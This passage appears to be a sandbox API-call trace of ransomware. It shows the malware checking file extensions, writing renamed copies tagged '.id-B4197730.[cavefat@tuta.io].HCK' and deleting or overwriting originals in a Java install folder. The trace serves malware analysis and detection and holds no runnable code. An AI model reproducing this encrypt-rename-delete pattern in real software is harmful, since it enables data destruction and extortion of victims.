Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0177.533] lstrlenW (lpString=".jpg") returned 4 [0177.533] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0177.533] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0177.533] lstrlenW (lpString="resource.dll") returned 12 [0177.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0177.535] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=15424) returned 1 [0177.535] CloseHandle (hObject=0x2d0) returned 1 [0177.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0177.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.536] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.536] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0177.548] GetLastError () returned 0x0 [0177.548] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x3c40, lpOverlapped=0x0) returned 1 [0177.550] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x3c50, lpOverlapped=0x0) returned 1 [0177.550] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.550] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0177.551] SetEndOfFile (hFile=0x2d4) returned 1 [0177.553] CloseHandle (hObject=0x2d4) returned 1 [0177.554] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.554] SetEndOfFile (hFile=0x2e8) returned 1 [0177.559] CloseHandle (hObject=0x2e8) returned 1 [0177.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0177.560] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0177.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.561] lstrlenW (lpString=".doc") returned 4 [0177.561] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.561] lstrlenW (lpString=".docx") returned 5 [0177.561] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0177.561] lstrlenW (lpString=".pdf") returned 4 [0177.561] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.561] lstrlenW (lpString=".xls") returned 4 [0177.561] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.561] lstrlenW (lpString=".xlsx") returned 5 [0177.561] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0177.561] lstrlenW (lpString=".ppt") returned 4 [0177.561] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.561] lstrlenW (lpString=".zip") returned 4 [0177.561] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.561] lstrlenW (lpString=".rar") returned 4 [0177.561] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.561] lstrlenW (lpString=".bz2") returned 4 [0177.561] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.561] lstrlenW (lpString=".7z") returned 3 [0177.561] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.561] lstrlenW (lpString=".dbf") returned 4 [0177.561] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.561] lstrlenW (lpString=".1cd") returned 4 [0177.561] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.561] lstrlenW (lpString=".jpg") returned 4 [0177.561] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.562] lstrlenW (lpString=".doc") returned 4 [0177.562] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString=".docx") returned 5 [0177.562] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0177.562] lstrlenW (lpString=".pdf") returned 4 [0177.562] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString=".xls") returned 4 [0177.562] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString=".xlsx") returned 5 [0177.562] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0177.562] lstrlenW (lpString=".ppt") returned 4 [0177.562] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.562] lstrlenW (lpString=".zip") returned 4 [0177.562] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString=".rar") returned 4 [0177.562] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.562] lstrlenW (lpString=".bz2") returned 4 [0177.562] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.562] lstrlenW (lpString=".7z") returned 3 [0177.562] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.562] lstrlenW (lpString=".dbf") returned 4 [0177.562] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.562] lstrlenW (lpString=".1cd") returned 4 [0177.562] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0177.562] lstrlenW (lpString=".jpg") returned 4 [0177.562] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.562] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0177.562] lstrlenW (lpString="jvm.dll") returned 7 [0177.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0177.564] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=8809536) returned 1 [0177.564] CloseHandle (hObject=0x2d4) returned 1 [0177.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0177.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0177.612] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0177.613] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0177.613] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0177.613] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x34d1058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0177.617] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0177.617] ReadFile (in: hFile=0x2e8, lpBuffer=0x3511058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3511058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0177.628] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.628] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0177.628] ReadFile (in: hFile=0x2e8, lpBuffer=0x3551058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3551058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0177.682] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.682] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfca8*=0xc00fa, lpOverlapped=0x0) returned 1 [0177.694] SetEndOfFile (hFile=0x2e8) returned 1 [0177.694] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e89058 [0177.694] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0177.694] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e89058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e89058*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.695] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0177.695] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e89058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e89058*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.699] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0177.699] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e89058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e89058*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.703] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e89058 | out: hHeap=0x6b0000) returned 1 [0177.703] CloseHandle (hObject=0x2e8) returned 1 [0177.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0177.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.703] lstrlenW (lpString=".doc") returned 4 [0177.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.703] lstrlenW (lpString=".docx") returned 5 [0177.703] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0177.703] lstrlenW (lpString=".pdf") returned 4 [0177.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.703] lstrlenW (lpString=".xls") returned 4 [0177.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.703] lstrlenW (lpString=".xlsx") returned 5 [0177.703] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0177.703] lstrlenW (lpString=".ppt") returned 4 [0177.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.703] lstrlenW (lpString=".zip") returned 4 [0177.703] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.703] lstrlenW (lpString=".rar") returned 4 [0177.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString=".bz2") returned 4 [0177.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.704] lstrlenW (lpString=".7z") returned 3 [0177.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".dbf") returned 4 [0177.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".1cd") returned 4 [0177.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".jpg") returned 4 [0177.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".doc") returned 4 [0177.704] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString=".docx") returned 5 [0177.704] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0177.704] lstrlenW (lpString=".pdf") returned 4 [0177.704] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString=".xls") returned 4 [0177.704] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString=".xlsx") returned 5 [0177.704] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0177.704] lstrlenW (lpString=".ppt") returned 4 [0177.704] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".zip") returned 4 [0177.704] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString=".rar") returned 4 [0177.704] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.704] lstrlenW (lpString=".bz2") returned 4 [0177.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.704] lstrlenW (lpString=".7z") returned 3 [0177.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".dbf") returned 4 [0177.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".1cd") returned 4 [0177.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53 [0177.704] lstrlenW (lpString=".jpg") returned 4 [0177.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.704] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0177.704] lstrlenW (lpString="tnameserv.exe") returned 13 [0177.705] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0177.711] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=16448) returned 1 [0177.711] CloseHandle (hObject=0x2d0) returned 1 [0177.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0177.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0177.713] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0180.849] GetLastError () returned 0x0 [0180.849] ReadFile (in: hFile=0x390, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4040, lpOverlapped=0x0) returned 1 [0180.858] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4050, lpOverlapped=0x0) returned 1 [0180.859] ReadFile (in: hFile=0x390, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.859] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xee, lpOverlapped=0x0) returned 1 [0180.860] SetEndOfFile (hFile=0x2d0) returned 1 [0180.862] CloseHandle (hObject=0x2d0) returned 1 [0180.862] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.862] SetEndOfFile (hFile=0x390) returned 1 [0180.863] CloseHandle (hObject=0x390) returned 1 [0180.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0180.863] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0180.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.869] lstrlenW (lpString=".doc") returned 4 [0180.869] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0180.869] lstrlenW (lpString=".docx") returned 5 [0180.869] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0180.869] lstrlenW (lpString=".pdf") returned 4 [0180.869] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0180.869] lstrlenW (lpString=".xls") returned 4 [0180.870] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString=".xlsx") returned 5 [0180.870] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0180.870] lstrlenW (lpString=".ppt") returned 4 [0180.870] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString=".zip") returned 4 [0180.870] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString=".rar") returned 4 [0180.870] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString=".bz2") returned 4 [0180.870] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0180.870] lstrlenW (lpString=".7z") returned 3 [0180.870] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString=".dbf") returned 4 [0180.870] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString=".1cd") returned 4 [0180.870] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString=".jpg") returned 4 [0180.870] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString=".doc") returned 4 [0180.870] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0180.870] lstrlenW (lpString=".docx") returned 5 [0180.870] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0180.870] lstrlenW (lpString=".pdf") returned 4 [0180.870] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString=".xls") returned 4 [0180.870] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString=".xlsx") returned 5 [0180.870] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0180.870] lstrlenW (lpString=".ppt") returned 4 [0180.870] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0180.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.870] lstrlenW (lpString=".zip") returned 4 [0180.871] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0180.871] lstrlenW (lpString=".rar") returned 4 [0180.871] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0180.871] lstrlenW (lpString=".bz2") returned 4 [0180.871] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0180.871] lstrlenW (lpString=".7z") returned 3 [0180.871] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0180.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.871] lstrlenW (lpString=".dbf") returned 4 [0180.871] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0180.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") 